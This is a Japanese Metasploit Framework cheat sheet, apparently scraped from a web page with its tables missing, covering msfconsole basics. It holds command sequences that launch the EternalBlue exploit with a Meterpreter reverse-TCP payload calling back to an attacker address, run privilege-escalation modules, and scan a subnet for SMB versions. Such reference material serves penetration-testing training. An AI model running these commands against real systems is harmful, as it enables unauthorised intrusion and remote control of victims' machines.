Metasploit Framework チートシート

Metasploit Framework の主要なインターフェースである msfconsole の起動方法と基本的なコマンドです。

目的の Exploit、Auxiliary、Payload などを検索し、利用するモジュールを選択します。

選択したモジュールを実行するために必要なパラメータ（オプション）を設定します。

主要なオプション

設定したモジュール（Exploit）を実行し、成功すれば Payload を送り込みます。

代表的な Payload の種類

ペイロードの選択は、ターゲット環境、ネットワーク状況、目的（シェルアクセス、高度な操作など）に応じて行います。

# 例: EternalBlue Exploit に Meterpreter Reverse TCP Payload を設定
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50 # 攻撃者のIP
LHOST => 192.168.1.50
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit 

Exploit 成功後に確立されたセッション（Meterpreter や Shell）を管理します。

Meterpreter セッション内で使用できる基本的なコマンドです。

取得したセッションの権限を昇格させるための手法です。

Meterpreter コマンド

Post モジュール (権限昇格)

一般的な手順

1. 現在の権限を確認 (getuid)。
2. local_exploit_suggester を実行して、利用可能な権限昇格モジュールがないか確認。

   # msfconsole プロンプトから
   msf6 > use post/multi/recon/local_exploit_suggester
   msf6 post(multi/recon/local_exploit_suggester) > set SESSION <session_id>
   SESSION => 1
   msf6 post(multi/recon/local_exploit_suggester) > run 

   Copy
3. 提案された Exploit モジュール (例: `exploit/windows/local/…`) を利用する。
4. (Windows の場合) Meterpreter セッション内で getsystem を試す。
5. 権限昇格に成功したら、再度 getuid で確認。SYSTEM や root になっていれば成功。

セッション確立後に行う情報収集、横展開、永続化などの活動です。

情報収集 (Reconnaissance)

永続化 (Persistence)

横展開 (Lateral Movement)

Exploit 以外の補助的な機能を提供するモジュール群です。情報収集、スキャン、サービス特定、DoS 攻撃などに利用されます。

# 例: SMB バージョンスキャン
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf6 auxiliary(scanner/smb/smb_version) > set THREADS 20
THREADS => 20
msf6 auxiliary(scanner/smb/smb_version) > run 

スキャン結果やホスト情報、認証情報などをデータベースに保存し、効率的に管理します。

Metasploit Framework のその他の便利なコマンドや機能です。